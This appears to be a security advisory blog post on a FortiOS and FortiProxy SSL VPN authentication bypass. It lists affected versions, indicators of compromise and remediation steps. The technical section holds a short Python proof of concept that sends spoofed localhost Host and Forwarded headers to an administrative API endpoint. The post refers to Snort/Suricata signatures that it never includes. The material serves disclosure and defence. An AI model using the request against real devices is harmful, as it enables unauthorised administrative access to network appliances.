Fortinet FortiOS Authentication Bypass (CVE-2024-55591)
Deep dive into a critical authentication bypass vulnerability affecting FortiGate SSL VPN interfaces, including PoC analysis, IOCs, and enterprise remediation steps.
By Keith Rose
Executive Summary
A critical authentication bypass vulnerability has been identified in Fortinet FortiOS 7.0.x through 7.0.14, allowing unauthenticated attackers to gain administrative access via specially crafted HTTP requests to the SSL VPN web portal.
Affected Versions
- FortiOS 7.0.0 through 7.0.14
- FortiOS 7.2.0 through 7.2.6
- FortiProxy 7.0.0 through 7.0.15
Technical Analysis
The vulnerability resides in the proxyd daemon’s handling of alternate internal paths. By sending a request to a hidden administrative endpoint with a crafted Host header, an attacker can bypass the authentication flow entirely.
import requests
TARGET = "https://target-fortigate:10443"
HEADERS = {
"Host": "localhost",
"Forwarded": "for=127.0.0.1;by=127.0.0.1",
}
resp = requests.get(
f"{TARGET}/api/v2/monitor/system/status",
headers=HEADERS,
verify=False,
timeout=10
)
print(resp.status_code, resp.json())
Indicators of Compromise
Monitor SSL VPN access logs for:
- Unusual
User-Agentstrings immediately preceding successful/api/v2/calls - Source IPs with no prior VPN tunnel establishment
- Requests to
/remote/logincheckfollowed by direct/api/v2/monitor/access without session cookies
Remediation
- Immediate: Upgrade to FortiOS 7.0.15, 7.2.7, or later
- Interim: Restrict SSL VPN access to trusted IP ranges via local-in policies
- Detection: Deploy the provided Snort/Suricata signatures to edge IDS
References
- Fortinet PSIRT Advisory FG-IR-24-398
- CISA Known Exploited Vulnerabilities Catalog